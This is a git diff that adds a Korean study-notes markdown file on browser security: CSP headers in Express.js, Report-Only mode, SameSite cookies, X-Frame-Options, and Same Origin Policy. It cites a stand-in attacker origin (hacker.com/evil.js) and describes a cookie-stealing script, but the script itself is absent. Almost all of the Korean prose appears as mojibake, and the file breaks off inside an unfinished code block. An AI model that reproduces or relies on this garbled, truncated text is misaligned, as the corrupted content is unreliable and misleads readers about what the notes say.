diff --git a/keyword/chapter05/keyword05.md b/keyword/chapter05/keyword05.md new file mode 100644 index 0000000..7e40da7 --- /dev/null +++ b/keyword/chapter05/keyword05.md @@ -0,0 +1,1124 @@ +- **๐Ÿ“šย ๋ธ”๋กœ๊ทธ ์ฝ๊ณ  Content Security Policy(CSP) ์ •๋ฆฌํ•ด๋ณด๊ธฐ ๐Ÿ ** + - ์„œ๋ฒ„์—์„œ HTML ๋ฌธ์„œ๋ฅผ ์‘๋‹ตํ•  ๋•Œ CSP๋ฅผ ์ ์šฉํ•˜๋ ค๋ฉด ์–ด๋–ค HTTP ์‘๋‹ต ํ—ค๋”๋ฅผ ์„ค์ •ํ•ด์•ผ ํ•˜๋‚˜์š”? ๋ธ”๋กœ๊ทธ์— ๋‚˜์˜จ Express.js ์ฝ”๋“œ ์˜ˆ์‹œ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ์„ค๋ช…ํ•ด๋ณด์„ธ์š”. + ์„œ๋ฒ„์—์„œ HTML ๋ฌธ์„œ๋ฅผ ์‘๋‹ตํ•  ๋•Œ `Content-Security-Policy` ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ๋ผ์š”. + + ```tsx + res.setHeader('Content-Security-Policy', "default-src 'self'"); + ``` + + - `res.setHeader(...)`: HTTP ์‘๋‹ต ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ํ•จ์ˆ˜ + - `'Content-Security-Policy'`: ํ—ค๋” ์ด๋ฆ„ + - `"default-src 'self'"`: ์ •์ฑ… ๊ฐ’ (์–ด๋–ค ๋ฆฌ์†Œ์Šค๋ฅผ ํ—ˆ์šฉํ• ์ง€) + + ```tsx + ๋ธŒ๋ผ์šฐ์ €๊ฐ€ HTML ์š”์ฒญ + โ†“ + ์„œ๋ฒ„๊ฐ€ HTML ์‘๋‹ต + Content-Security-Policy ํ—ค๋” ํฌํ•จํ•ด์„œ ์ „์†ก + โ†“ + ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํ—ค๋”๋ฅผ ์ฝ๊ณ  ์ •์ฑ…์— ๋”ฐ๋ผ ๋ฆฌ์†Œ์Šค ๋กœ๋“œ ํ—ˆ์šฉ/์ฐจ๋‹จ + ``` + + - `default-src 'self'` ์„ค์ •์€ ๋ธŒ๋ผ์šฐ์ €์—๊ฒŒ ์–ด๋–ค ๋ณด์•ˆ ์ •์ฑ…์„ ์˜๋ฏธํ•˜๋‚˜์š”? ๋˜ํ•œ `'self'` ๊ฐ’์€ ์–ด๋–ค ์ถœ์ฒ˜๋ฅผ ํฌํ•จํ•˜๊ฑฐ๋‚˜ ์ œ์™ธํ•˜๋‚˜์š”? + - `default-src 'selfโ€™` ๋Š”? + + + ์‰ฝ๊ฒŒ ๋งํ•˜์ž๋ฉด โ€œ๊ธฐ๋ณธ ๊ทœ์น™โ€์„ ๋”ฐ๋ฅด๋Š” ๊ฑฐ์˜ˆ์š”! + + ```tsx + default-src = ๋ชจ๋“  ๋ฆฌ์†Œ์Šค ์ข…๋ฅ˜์˜ ๊ธฐ๋ณธ ์ •์ฑ… + โ”œโ”€โ”€ script-src ์„ค์ • ์—†์œผ๋ฉด โ†’ default-src ๋”ฐ๋ฆ„ + โ”œโ”€โ”€ img-src ์„ค์ • ์—†์œผ๋ฉด โ†’ default-src ๋”ฐ๋ฆ„ + โ”œโ”€โ”€ style-src ์„ค์ • ์—†์œผ๋ฉด โ†’ default-src ๋”ฐ๋ฆ„ + โ””โ”€โ”€ ... + ``` + + - `'self'` ๋ž€? + + + `'self'` ๊ฐ€ ํฌํ•จํ•˜๋Š” ๊ฒƒ vs ์ œ์™ธํ•˜๋Š” ๊ฒƒ + + ```tsx + โœ… ํ—ˆ์šฉ (ํฌํ•จ) + ๋‚ด ์‚ฌ์ดํŠธ ์ฃผ์†Œ๊ฐ€ [matthew.com](http://matthew.com/) ์ด๋ผ๋ฉด: + โ†’ [matthew.com/images/logo.png](http://matthew.com/images/logo.png) โœ… (๊ฐ™์€ ์ถœ์ฒ˜) + โ†’ [matthew.com/js/app.js](http://matthew.com/js/app.js) โœ… (๊ฐ™์€ ์ถœ์ฒ˜) + ``` + + ```tsx + โŒ ์ฐจ๋‹จ (์ œ์™ธ) + โ†’ [cdn.example.com/jquery.js](http://cdn.example.com/jquery.js) โŒ (๋‹ค๋ฅธ ์ถœ์ฒ˜) + โ†’ [hacker.com/evil.js](http://hacker.com/evil.js) โŒ (๋‹ค๋ฅธ ์ถœ์ฒ˜) + โ†’ [sub.matthew.com/](http://sub.matthew.com/)... โŒ (ํ•˜์œ„ ๋„๋ฉ”์ธ๋„ ๋‹ค๋ฅธ ์ถœ์ฒ˜!) + ``` + + โš ๏ธ**:** `'self'`๋Š” **ํ•˜์œ„ ๋„๋ฉ”์ธ(์„œ๋ธŒ๋„๋ฉ”์ธ)๋„ ํฌํ•จํ•˜์ง€ ์•Š์•„์š”.** `sub.matthew.com`์€ `matthew.com`๊ณผ ๋‹ค๋ฅธ ์ถœ์ฒ˜๋กœ ์ทจ๊ธ‰๋ผ์š”. + + - ๋ธ”๋กœ๊ทธ์— ๋‚˜์˜จ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ(``)๋ฅผ ์ฃผ์ž…ํ–ˆ์„ ๋•Œ CSP๊ฐ€ ์–ด๋–ป๊ฒŒ ๋™์ž‘ํ•˜๋Š”์ง€ ๋„คํŠธ์›Œํฌ ํƒญ๊ณผ ์ฝ˜์†” ๋ฉ”์‹œ์ง€ ์ธก๋ฉด์—์„œ ์„ค๋ช…ํ•ด๋ณด์„ธ์š”. -ํ•ด๋‹น ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ์˜ ๋ชฉ์ ์€ ๋‚ด ์ฟ ํ‚ค๋ฅผ ํ•ด์ปค ์„œ๋ฒ„๋กœ ๋ชฐ๋ž˜ ์ „์†กํ•˜๋Š” ๊ฒƒ์ด์—์š”. + - CSP๊ฐ€ ์žˆ์„ ๋•Œ ์ผ์–ด๋‚˜๋Š” ์ผ + - ๐ŸŒ ๋„คํŠธ์›Œํฌ ํƒญ์—์„œ ๋ณด๋ฉด: + > ๋„คํŠธ์›Œํฌ ํƒญ์„ ํ™•์ธํ•˜๋ฉด `hacker.com`์œผ๋กœ ๋„คํŠธ์›Œํฌ ์š”์ฒญ์ด ๋ฐœ์ƒํ•˜์ง€ ์•Š์€ ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์–ด์š”. + ```tsx + ๋„คํŠธ์›Œํฌ ํƒญ + matthew.com 200 OK โœ… (์ •์ƒ ๋กœ๋“œ) + hacker.com (์—†์Œ) โ† ์š”์ฒญ ์ž์ฒด๊ฐ€ ๋ฐœ์ƒ ์•ˆ ํ•จ! + ``` + - ๐Ÿ–ฅ๏ธ ์ฝ˜์†”์—์„œ ๋ณด๋ฉด: + > ๋ธŒ๋ผ์šฐ์ € ์ฝ˜์†”์—๋Š” **Content Security Policy** ๊ฒฝ๊ณ ๊ฐ€ ํ‘œ์‹œ๋ผ์š”. "๋‹ค์Œ ์ง€์‹œ์ž๋ฅผ ์œ„๋ฐ˜ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ์ธ๋ผ์ธ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ์ฐจ๋‹จํ–ˆ๋‹ค"๋ผ๋Š” ๋ฉ”์‹œ์ง€๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์–ด์š”. + ```tsx + ์ฝ˜์†” ์—๋Ÿฌ ๋ฉ”์‹œ์ง€: + Refused to execute inline script because it violates + the following Content Security Policy directive: "default-src 'self'" + ``` + - ๋น„์œ ๋กœ ์ดํ•ดํ•˜๊ธฐ! + + + ```tsx + ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ + โ†“ + [๋ธŒ๋ผ์šฐ์ € ๋ณด์•ˆ ์š”์›] "์ถœ์ฒ˜๊ฐ€ hacker.com? ํ—ˆ๊ฐ€ ์•ˆ ๋จ!" + โ†“ + ์ฐจ๋‹จ! (์‹คํ–‰ ์ž์ฒด๋ฅผ ์•ˆ ํ•จ) + โ†“ + hacker.com์œผ๋กœ ์š”์ฒญ ์—†์Œ + ์ฝ˜์†”์— ๊ฒฝ๊ณ  ์ถœ๋ ฅ + ``` + + - ๊ธฐ๋ณธ CSP ์„ค์ •์—์„œ ์ธ๋ผ์ธ ์Šคํƒ€์ผ์ด ์ฐจ๋‹จ๋œ๋‹ค๊ณ  ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ธ”๋กœ๊ทธ ์˜ˆ์‹œ ์ค‘ `width:600px`์ด ์ ์šฉ๋˜์ง€ ์•Š๋Š” ์ด์œ ๋ฅผ ์„ค๋ช…ํ•˜์„ธ์š”. + + + - ์™œ ์ธ๋ผ์ธ ์Šคํƒ€์ผ๊นŒ์ง€ ๋ง‰์„๊นŒ? + + ์ธ๋ผ์ธ ์Šคํƒ€์ผ์—๋„ ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ์ˆจ์–ด๋“ค ์ˆ˜ ์žˆ๊ธฐ ๋–„๋ฌธ์— ๊ธฐ๋ณธ ์ •์ฑ…์—์„œ ํ•จ๊ป˜ ๋ง‰์•„์š”! + + - ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•์€? - `'unsafe-inline'` ํ—ˆ์šฉ! + + ```tsx + // ์ธ๋ผ์ธ ์Šคํƒ€์ผ์„ ํ—ˆ์šฉํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด ๋”ฐ๋กœ ๋ช…์‹œํ•ด์•ผ ํ•ด์š” + res.setHeader( + 'Content-Security-Policy', + "default-src 'self'; style-src 'self' 'unsafe-inline'" + ); + ``` + + โš ๏ธ `'unsafe-inline'`์„ ํ—ˆ์šฉํ•˜๋ฉด ๋ณด์•ˆ์ด ์•ฝํ•ด์ง€๋ฏ€๋กœ ๊ผญ ํ•„์š”ํ•  ๋•Œ๋งŒ ์“ฐ๊ณ , ๊ฐ€๋Šฅํ•˜๋ฉด ์™ธ๋ถ€ CSS ํŒŒ์ผ๋กœ ๋ถ„๋ฆฌํ•˜๋Š” ๊ฒŒ ์ข‹์•„์š”. + + - ๊ตฌ๊ธ€ ์• ๋„๋ฆฌํ‹ฑ์Šค, ์นด์นด์˜ค๋งต, ์™ธ๋ถ€ API ๋“ฑ์ด CSP ๋•Œ๋ฌธ์— ์ฐจ๋‹จ๋  ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ˜„์ƒ์„ "๊ฑด๋ฌผ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•œ๋‹ค"๋Š” ๋น„์œ ์™€ ์—ฐ๊ฒฐํ•ด ์„ค๋ช…ํ•ด๋ณด์„ธ์š”. + + + - ๊ฑด๋ฌผ ๋ณด์•ˆ ๋น„์œ ๋กœ ์ดํ•ดํ•˜๊ธฐ + + > ๊ฑด๋ฌผ ๋ณด์•ˆ์„ ๊ฐ•ํ™”ํ•œ๋‹ค๊ณ  ๋ชจ๋“  ์ถœ์ž…๋ฌธ์„ ๋ง‰์•„๋ฒ„๋ ค์„œ, ์ง์›๋“ค๋„ ์ถœ์ž…ํ•˜์ง€ ๋ชปํ•˜๋Š” ์ƒํ™ฉ๊ณผ ๊ฐ™์•„์š”! + > + + ```tsx + ๐Ÿข ๊ฑด๋ฌผ = ์šฐ๋ฆฌ ์›น์‚ฌ์ดํŠธ + ๐Ÿšช ์ถœ์ž…๋ฌธ = ๋ฆฌ์†Œ์Šค๋ฅผ ๋ถˆ๋Ÿฌ์˜ค๋Š” ๊ฒฝ๋กœ + ๐Ÿ‘ฎ ๋ณด์•ˆ ์š”์› = CSP ์ •์ฑ… + ๐Ÿชช ์ถœ์ž…์ฆ = ํ—ˆ์šฉ๋œ ์ถœ์ฒ˜(๋„๋ฉ”์ธ) + + ์ƒํ™ฉ: + ๋ณด์•ˆ ๊ฐ•ํ™”๋ฅผ ์œ„ํ•ด "์ถœ์ž…์ฆ ์—†์œผ๋ฉด ์ „๋ถ€ ์ฐจ๋‹จ!" + + โ†’ ํ•ด์ปค โŒ ์ž˜ ๋ง‰ํž˜ + โ†’ ๊ตฌ๊ธ€ ์• ๋„๋ฆฌํ‹ฑ์Šค ์ง์› โŒ ๊ฐ™์ด ๋ง‰ํ˜€๋ฒ„๋ฆผ (์ถœ์ž…์ฆ์ด ์—†์œผ๋‹ˆ๊นŒ) + โ†’ ์นด์นด์˜ค๋งต API โŒ ๊ฐ™์ด ๋ง‰ํ˜€๋ฒ„๋ฆผ + โ†’ ๊ตฌ๊ธ€ ํฐํŠธ โŒ ๊ฐ™์ด ๋ง‰ํ˜€๋ฒ„๋ฆผ + ``` + + - ํ•ด๊ฒฐ์ฑ…: ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ๋„๋ฉ”์ธ์€ ๋ช…๋‹จ์— ์ถ”๊ฐ€ + + ```tsx + res.setHeader( + 'Content-Security-Policy', + `default-src 'self'; + script-src 'self' https://www.google-analytics.com; + img-src 'self' https://dapi.kakao.com; + font-src 'self' https://fonts.googleapis.com` + ); + ``` + + ๐Ÿ’ก ๋”ฐ๋ผ์„œ CSP๋Š” **๋‹จ๊ณ„์ ์œผ๋กœ ์ ์šฉ**ํ•˜๋ฉด์„œ ์„œ๋น„์Šค์— ๋ฏธ์น˜๋Š” ์˜ํ–ฅ์„ **์ง€์†์ ์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋ง**ํ•ด์•ผ ํ•ด์š”. + + - Report-Only ๋ชจ๋“œ์—์„œ๋Š” ์‹ค์ œ ๋ฆฌ์†Œ์Šค ์‹คํ–‰์ด ์ฐจ๋‹จ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ ๋Œ€์‹  ๋ธŒ๋ผ์šฐ์ €์™€ ์„œ๋ฒ„์—์„œ ๊ฐ๊ฐ ์–ด๋–ค ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋‚˜์š”? + ๐Ÿ˜€ ์ผ๋ฐ˜ CSP vs Report-Only ์ฐจ์ด + - **์ผ๋ฐ˜ CSP**: ์ง„๋‹จํ•˜๊ณ  ์‹คํ–‰์„ \*\*์ฐจ๋‹จ + - Report-Only**: ์ง„๋‹จ๋งŒ ํ•˜๊ณ  ์‹คํ–‰์€ **ํ—ˆ์šฉ\*\* + - Report-Only ๋ชจ๋“œ ์„ค์ • ๋ฐฉ๋ฒ• + + > `Content-Security-Policy-Report-Only` ์‘๋‹ต ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•ด์š” + + ```tsx + res.setHeader( + 'Content-Security-Policy-Report-Only', + "default-src 'self'; report-uri /report", + ); + ``` + + + + - ๋ธŒ๋ผ์šฐ์ € ์ชฝ + + + ```tsx + ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ ๋ฐœ๊ฒฌ + โ†“ + "์ด๊ฑด ์ •์ฑ… ์œ„๋ฐ˜์ด๋„ค... ๊ทผ๋ฐ Report-Only๋‹ˆ๊นŒ ์ผ๋‹จ ์‹คํ–‰์€ ํ•จ" + โ†“ + ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰ ํ—ˆ์šฉ (hacker.com์œผ๋กœ ์‹ค์ œ๋กœ ์š”์ฒญ ๊ฐ!) + โ†“ + ๋™์‹œ์— /report ๊ฒฝ๋กœ๋กœ ์œ„๋ฐ˜ ๋‚ด์šฉ ์ „์†ก + ``` + + - ์„œ๋ฒ„ ์ชฝ + + + ```tsx + // ์„œ๋ฒ„๊ฐ€ /report ๊ฒฝ๋กœ์—์„œ ๋ฐ›๋Š” JSON + { + "csp-report": { + "document-uri": "http://matthew.com", + "violated-directive": "script-src", + "effective-directive": "style-src-elem", + "blocked-uri": "inline" + } + } + ``` + + - CCTV ๋น„์œ ๋กœ ์ดํ•ดํ•˜๊ธฐ + ๋งˆ์น˜ ๊ฑด๋ฌผ์— CCTV๋ฅผ ๋จผ์ € ์„ค์น˜ํ•ด์„œ ์ถœ์ž… ํŒจํ„ด์„ ๋ถ„์„ํ•œ ๋‹ค์Œ, ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ”ํƒ•์œผ๋กœ ๋ณด์•ˆ ๊ทœ์น™์„ ๋งŒ๋“œ๋Š” ๊ฒƒ๊ณผ ๊ฐ™์•„์š”. + ```tsx + CCTV(Report-Only) ๋‹จ๊ณ„: + "์ด ์‚ฌ๋žŒ์ด ์ž์ฃผ ์ถœ์ž…ํ•˜๋„ค, ์ € ์‚ฌ๋žŒ์ด ์ˆ˜์ƒํ•˜๋„ค" โ†’ ๋ฐ์ดํ„ฐ ์ˆ˜์ง‘ + โ†“ + ๋ถ„์„ ํ›„ ์‹ค์ œ ๋ณด์•ˆ ์ •์ฑ… ๋„์ž…: + "์ด ์‚ฌ๋žŒ์€ ๋ง‰์ž, ์ € ์‚ฌ๋žŒ์€ ํ—ˆ์šฉํ•˜์ž" + ``` + ๐Ÿ’ก **์–ธ์ œ ์“ธ๊นŒ? -** CSP๋ฅผ ์ฒ˜์Œ ๋„์ž…ํ•  ๋•Œ ๋ฐ”๋กœ ์ฐจ๋‹จ ๋ชจ๋“œ๋กœ ์“ฐ๋ฉด ์ •์ƒ ๊ธฐ๋Šฅ๊นŒ์ง€ ๋ง‰ํž ์ˆ˜ ์žˆ์–ด์„œ, Report-Only๋กœ ๋จผ์ € ์–ด๋–ค ๊ฒƒ๋“ค์ด ๊ฑธ๋ฆฌ๋Š”์ง€ ํŒŒ์•…ํ•˜๊ณ  ๋‚˜์„œ ์ง„์งœ CSP๋ฅผ ์ ์šฉํ•˜๋Š” ๊ฑฐ์˜ˆ์š”. + + - CSP๋งŒ์œผ๋กœ๋Š” CSRF๋ฅผ ๋ง‰์„ ์ˆ˜ ์—†๋‹ค๊ณ  ํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ธ”๋กœ๊ทธ์— ์ •๋ฆฌ๋œ ๋‹ค๋ฅธ ๋ณด์•ˆ ์กฐ์น˜๋“ค(SameSite ์ฟ ํ‚ค, X-Frame-Options ๋“ฑ) ์ค‘ 2๊ฐ€์ง€๋ฅผ ์„ค๋ช…ํ•˜์„ธ์š”. + + + - ๐Ÿช SameSite ์ฟ ํ‚ค โ€” CSRF ๊ณต๊ฒฉ ๋ฐฉ์–ด + - CSRF๋Š”? + + ```tsx + 1. ๋‚ด๊ฐ€ ์€ํ–‰ ์‚ฌ์ดํŠธ์— ๋กœ๊ทธ์ธ (์ฟ ํ‚ค ์ €์žฅ๋จ) + 2. ์•…์„ฑ ์‚ฌ์ดํŠธ ๋ฐฉ๋ฌธ + 3. ์•…์„ฑ ์‚ฌ์ดํŠธ๊ฐ€ ๋ชฐ๋ž˜ ์€ํ–‰ ์†ก๊ธˆ ์š”์ฒญ์„ ๋‚ด ๋Œ€์‹  ๋ณด๋ƒ„ + 4. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋™์œผ๋กœ ์ฟ ํ‚ค๋ฅผ ๋ถ™์—ฌ์„œ ์ „์†ก + 5. ์€ํ–‰ ์„œ๋ฒ„๋Š” ์ฟ ํ‚ค๊ฐ€ ์žˆ์œผ๋‹ˆ "์ •์ƒ ์š”์ฒญ"์œผ๋กœ ์ธ์‹ ๐Ÿ˜ฑ + ``` + + - SameSite๋กœ ๋ง‰๋Š” ๋ฐฉ๋ฒ• + + ```tsx + SameSite=Strict โ†’ ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ ์˜จ ์š”์ฒญ์—” ์ฟ ํ‚ค ์ ˆ๋Œ€ ์•ˆ ๋ณด๋ƒ„ + SameSite=Lax โ†’ ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ ์˜จ GET ์š”์ฒญ์—” ์ฟ ํ‚ค ๋ณด๋ƒ„ (๊ธฐ๋ณธ๊ฐ’) + SameSite=None โ†’ ๋ชจ๋“  ์š”์ฒญ์— ์ฟ ํ‚ค ๋ณด๋ƒ„ (Secure์™€ ํ•จ๊ป˜ ์จ์•ผ ํ•จ) + ``` + + ```tsx + ์•…์„ฑ ์‚ฌ์ดํŠธ์—์„œ ์€ํ–‰์— ์š”์ฒญ + โ†“ + ๋ธŒ๋ผ์šฐ์ €: "SameSite=Strict์ด๋ผ ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ ์š”์ฒญ์—” ์ฟ ํ‚ค ์•ˆ ๋ณด๋ƒ„" + โ†“ + ์ฟ ํ‚ค ์—†์ด ์š”์ฒญ โ†’ ์€ํ–‰ ์„œ๋ฒ„: "์ธ์ฆ ์•ˆ ๋จ" โ†’ ์ฐจ๋‹จ! โœ… + ``` + + - ๐Ÿ–ผ๏ธ X-Frame-Options โ€” ํด๋ฆญ์žฌํ‚น ๋ฐฉ์–ด + - ํด๋ฆญ์žฌํ‚น์ด๋ž€? + + ```tsx + ์•…์„ฑ ์‚ฌ์ดํŠธ์— ํˆฌ๋ช…ํ•œ iframe์œผ๋กœ ์€ํ–‰ ์‚ฌ์ดํŠธ๋ฅผ ์˜ฌ๋ ค๋†“์Œ + โ†“ + "์—ฌ๊ธฐ ํด๋ฆญํ•˜๋ฉด ๊ฒฝํ’ˆ ๋‹น์ฒจ!" ์ด๋ผ๊ณ  ์†์ž„ + โ†“ + ์‹ค์ œ๋กœ๋Š” ํˆฌ๋ช… iframe ์œ„์—์„œ ํด๋ฆญ โ†’ ์€ํ–‰์—์„œ ์†ก๊ธˆ ๋ฒ„ํŠผ ํด๋ฆญ๋จ ๐Ÿ˜ฑ + ``` + + - X-Frame-Options๋กœ ๋ง‰๋Š” ๋ฐฉ๋ฒ• + + ```tsx + res.setHeader('X-Frame-Options', 'DENY'); + // ๋˜๋Š” + res.setHeader('X-Frame-Options', 'SAMEORIGIN'); + ``` + + ```tsx + DENY โ†’ ์–ด๋–ค ์‚ฌ์ดํŠธ์—์„œ๋„ iframe์œผ๋กœ ๋ชป ๋„์›€ + SAMEORIGIN โ†’ ๊ฐ™์€ ์ถœ์ฒ˜์—์„œ๋งŒ iframe ํ—ˆ์šฉ + ``` + + ```tsx + ์•…์„ฑ ์‚ฌ์ดํŠธ๊ฐ€ ์€ํ–‰ ์‚ฌ์ดํŠธ๋ฅผ iframe์œผ๋กœ ๋„์šฐ๋ ค ํ•จ + โ†“ + ๋ธŒ๋ผ์šฐ์ €: "X-Frame-Options: DENY ์žˆ์Œ, iframe ๋กœ๋“œ ์ฐจ๋‹จ" + โ†“ + ํด๋ฆญ์žฌํ‚น ๋ถˆ๊ฐ€๋Šฅ โœ… + ``` + +- **๐Ÿ“šย ๋ธ”๋กœ๊ทธ ์ฝ๊ณ  ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…(Same Origin Policy) ์ •๋ฆฌํ•ด๋ณด๊ธฐ ๐Ÿ ** + + # **๐Ÿ“šย ๋ธ”๋กœ๊ทธ ์ฝ๊ณ  ๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…(Same Origin Policy) ์ •๋ฆฌํ•ด๋ณด๊ธฐ ๐Ÿ ** + + *** + + [๊ฐœ๋ฐœ์ž ๋งคํŠœ | ์›น ๋ณด์•ˆ์˜ ํ•ต์‹ฌ, Same Origin Policy(๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…) ์‰ฝ๊ฒŒ ์ดํ•ดํ•˜๊ธฐ](https://www.yolog.co.kr/post/http-same-origin-policy/) + - ์ถœ์ฒ˜(Origin)๋Š” ์–ด๋–ค ์„ธ ์š”์†Œ์˜ ์กฐํ•ฉ์œผ๋กœ ๊ฒฐ์ •๋˜๋‚˜์š”? + **ํ”„๋กœํ† ์ฝœ** (`http`, `https`) + **ํ˜ธ์ŠคํŠธ** (๋„๋ฉ”์ธ) + **ํฌํŠธ** (`80`, `443`, `8080` ๋“ฑ) + โ‡’ ์ด ์„ธ ๊ฐ€์ง€๊ฐ€ ๋ชจ๋‘ ์ผ์น˜ํ•ด์•ผ **๊ฐ™์€ ์ถœ์ฒ˜**๋กœ ๊ฐ„์ฃผ + + ```tsx + + ์ถœ์ฒ˜(Origin) = ํ”„๋กœํ† ์ฝœ + ํ˜ธ์ŠคํŠธ + ํฌํŠธ + + https:// matthew.com :443 + โ†‘ โ†‘ โ†‘ + ํ”„๋กœํ† ์ฝœ ํ˜ธ์ŠคํŠธ ํฌํŠธ + + ``` + + ๐Ÿ’ก **ํฌํŠธ๋ฅผ ์•ˆ ์ผ์„ ๋•Œ๋Š”?** http๋Š” ๊ธฐ๋ณธ ํฌํŠธ๊ฐ€ 80, https๋Š” 443์ด์—์š”. ์ƒ๋žตํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ž๋™์œผ๋กœ ๊ธฐ๋ณธ ํฌํŠธ๋ฅผ ์ ์šฉํ•ด์š”. + + - ์ถœ์ฒ˜์˜ ์š”์†Œ๊ฐ€ ๋‹ค๋ฅธ ๊ฒฝ์šฐ(์˜ˆ: ํ”„๋กœํ† ์ฝœ๋งŒ, ํฌํŠธ๋งŒ ๋‹ค๋ฅธ ๊ฒฝ์šฐ)์— ๊ฐ™์€ ์ถœ์ฒ˜์ธ์ง€ ์•„๋‹Œ์ง€๋ฅผ ์˜ˆ์‹œ 3๊ฐœ(๊ฐ™์€ ์ถœ์ฒ˜ 1๊ฐœ, ๋‹ค๋ฅธ ์ถœ์ฒ˜ 2๊ฐœ)๋กœ ์„ค๋ช…ํ•˜์„ธ์š”. + `https://matthew.com` ์œผ๋กœ ๋น„๊ต + - โœ… ๊ฐ™์€ ์ถœ์ฒ˜ + [`https://matthew.com/about`](https://matthew.com/about) โ†’ ๊ฐ™์€ ์ถœ์ฒ˜! + โ‡’ ํ”„๋กœํ† ์ฝœยทํ˜ธ์ŠคํŠธยทํฌํŠธ ๋ชจ๋‘ ๋™์ผ + โ‡’ **๊ฒฝ๋กœ(path)๋Š” ์ถœ์ฒ˜ ํŒ๋‹จ์— ์˜ํ–ฅ ์—†์Œ** + + ```tsx + https://matthew.com (๊ธฐ์ค€) + https://matthew.com/about (๋น„๊ต) + + ํ”„๋กœํ† ์ฝœ: https = https โœ… + ํ˜ธ์ŠคํŠธ: matthew.com = matthew.com โœ… + ํฌํŠธ: 443 = 443 โœ… + โ†’ ์„ธ ๊ฐ€์ง€ ๋ชจ๋‘ ๊ฐ™์œผ๋‹ˆ ๊ฐ™์€ ์ถœ์ฒ˜! + ``` + + - โŒ ๋‹ค๋ฅธ ์ถœ์ฒ˜ + - ํ”„๋กœํ† ์ฝœ๋งŒ ๋‹ค๋ฅธ ๊ฒฝ์šฐ + [`http://matthew.com`](http://matthew.com/) โ†’ ๋‹ค๋ฅธ ์ถœ์ฒ˜! + โ‡’ํ”„๋กœํ† ์ฝœ์ด https โ†’ http๋กœ ๋‹ฌ๋ผ์ง + + ```tsx + https://matthew.com (๊ธฐ์ค€) + http://matthew.com (๋น„๊ต) + + ํ”„๋กœํ† ์ฝœ: https โ‰  http โŒ โ† ์—ฌ๊ธฐ์„œ ์ด๋ฏธ ํƒˆ๋ฝ + ํ˜ธ์ŠคํŠธ: matthew.com = matthew.com + ํฌํŠธ: 443 โ‰  80 + โ†’ ๋‹ค๋ฅธ ์ถœ์ฒ˜! + ``` + + - ํฌํŠธ๋งŒ ๋‹ค๋ฅธ ๊ฒฝ์šฐ + [`https://matthew.com:8080`](https://matthew.com:8080/) โ†’ ๋‹ค๋ฅธ ์ถœ์ฒ˜! + โ‡’ ํฌํŠธ๊ฐ€ 443 โ†’ 8080์œผ๋กœ ๋‹ฌ๋ผ์ง + + ```tsx + https://matthew.com (๊ธฐ์ค€, ํฌํŠธ 443) + https://matthew.com:8080 (๋น„๊ต, ํฌํŠธ 8080) + + ํ”„๋กœํ† ์ฝœ: https = https โœ… + ํ˜ธ์ŠคํŠธ: matthew.com = matthew.com โœ… + ํฌํŠธ: 443 โ‰  8080 โŒ โ† ํฌํŠธ ํ•˜๋‚˜ ๋•Œ๋ฌธ์— ๋‹ค๋ฅธ ์ถœ์ฒ˜ + โ†’ ๋‹ค๋ฅธ ์ถœ์ฒ˜! + ``` + + โš ๏ธ **ํ”ํ•œ ์‹ค์ˆ˜:** ๋กœ์ปฌ ๊ฐœ๋ฐœํ•  ๋•Œ ํ”„๋ก ํŠธ์—”๋“œ๋Š” `localhost:3000`, ๋ฐฑ์—”๋“œ๋Š” `localhost:8080`์œผ๋กœ ๋„์šฐ๋ฉด ํฌํŠธ๊ฐ€ ๋‹ฌ๋ผ์„œ ๋‹ค๋ฅธ ์ถœ์ฒ˜๊ฐ€ ๋ผ์š”! ์ด๋•Œ CORS ์—๋Ÿฌ๊ฐ€ ๋‚˜๋Š” ๊ฑฐ์˜ˆ์š”. + + - ๋ธ”๋กœ๊ทธ์— ๋‚˜์˜จ `fetch` ๊ธฐ๋ฐ˜ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋‹ค๋ฅธ ์ถœ์ฒ˜๋กœ ์‹คํ–‰ํ–ˆ์„ ๋•Œ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์–ด๋–ค ์ผ์ด ๋ฐœ์ƒํ•˜๋‚˜์š”? ๋„คํŠธ์›Œํฌ ์ „์†ก ์—ฌ๋ถ€, ์‘๋‹ต ์‚ฌ์šฉ ๊ฐ€๋Šฅ์„ฑ, ๋ธŒ๋ผ์šฐ์ € ์ฝ˜์†” ๋ฉ”์‹œ์ง€ ์ธก๋ฉด์—์„œ ์„œ์ˆ ํ•˜์„ธ์š”. + + ```tsx + 